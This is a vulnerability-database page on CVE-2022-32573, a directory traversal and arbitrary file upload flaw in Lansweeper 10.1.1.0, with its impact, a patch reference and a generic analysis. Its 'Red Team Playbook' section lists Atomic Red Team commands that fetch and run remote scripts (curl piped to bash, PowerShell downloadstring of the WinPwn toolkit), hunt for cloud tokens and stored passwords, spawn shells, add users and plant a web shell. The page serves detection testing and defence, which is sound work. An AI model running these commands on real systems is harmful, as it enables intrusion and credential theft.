CVE-2022-32573
Overview
This vulnerability is a directory traversal flaw in the AssetActions.aspx addDoc functionality of Lansweeper version 10.1.1.0. It arises from insufficient validation of file path inputs, allowing crafted HTTP requests to manipulate file system paths. The affected component improperly handles user-supplied input, enabling unauthorized file upload through path traversal techniques.
Vulnerability Description
A directory traversal vulnerability exists in the AssetActions.aspx addDoc functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary file upload. An attacker can send an HTTP request to trigger this vulnerability.
Impact
An attacker with low-level privileges can exploit this vulnerability remotely to upload arbitrary files to the server, potentially leading to full system compromise, data exfiltration, or service disruption. The exploit requires network access and authenticated user privileges but no user interaction. Successful exploitation compromises confidentiality, integrity, and availability, as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). This can facilitate lateral movement or persistent access within the affected environment.
Solution
Lansweeper users should upgrade to a version later than 10.1.1.0 where this vulnerability is addressed. Detailed remediation guidance and patch availability are provided in the Talos Intelligence advisory (TALOS-2022-1528) at https://talosintelligence.com/vulnerability_reports/TALOS-2022-1528. Applying the vendor's recommended patch or update is required to eliminate the directory traversal flaw in the AssetActions.aspx addDoc functionality.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A directory traversal vulnerability has been identified in the AssetActions.aspx addDoc functionality of Lansweeper version 10.1.1.0. This flaw allows an attacker to manipulate file paths and potentially upload arbitrary files to the server. The vulnerability arises from insufficient validation of user-supplied input, specifically in the handling of HTTP requests. By crafting a malicious request that exploits this weakness, an attacker can bypass security mechanisms and gain unauthorized access to the file system. This could lead to the execution of malicious scripts or the exposure of sensitive data stored on the server.
The attack vector for this vulnerability primarily involves sending specially-crafted HTTP requests to the affected application. An attacker can utilize tools such as Burp Suite or custom scripts to automate the process of sending these requests. By exploiting the directory traversal flaw, the attacker can specify file paths that traverse outside the intended directories, allowing for the upload of files to locations that should be restricted. This could include uploading web shells or other malicious payloads that could be executed on the server, leading to further compromise of the system or network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Lansweeper for IT asset management. Successful exploitation could result in unauthorized access to sensitive information, including configuration files, user data, or even system credentials. The business risks associated with this vulnerability are multifaceted. They include potential data breaches, loss of customer trust, regulatory penalties, and financial losses due to remediation efforts and downtime. Additionally, the presence of a web shell could allow attackers to pivot to other systems within the network, escalating their access and increasing the overall risk to the organization.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Lansweeper to the latest version is crucial, as vendors typically release patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Monitoring logs for unusual activity, such as unexpected file uploads or access attempts to sensitive directories, can also aid in early detection of exploitation attempts. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses in the application and overall infrastructure.
In conclusion, the directory traversal vulnerability in Lansweeper represents a serious threat to organizations using this software. The ability to upload arbitrary files can lead to severe consequences, including data breaches and system compromise. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies are essential to safeguarding sensitive information and maintaining the integrity of IT systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lansweeper | Lansweeper | 10.1.1.0 |
cpe:2.3:a:lansweeper:lansweeper:10.1.1.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-32573 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2022-1528 |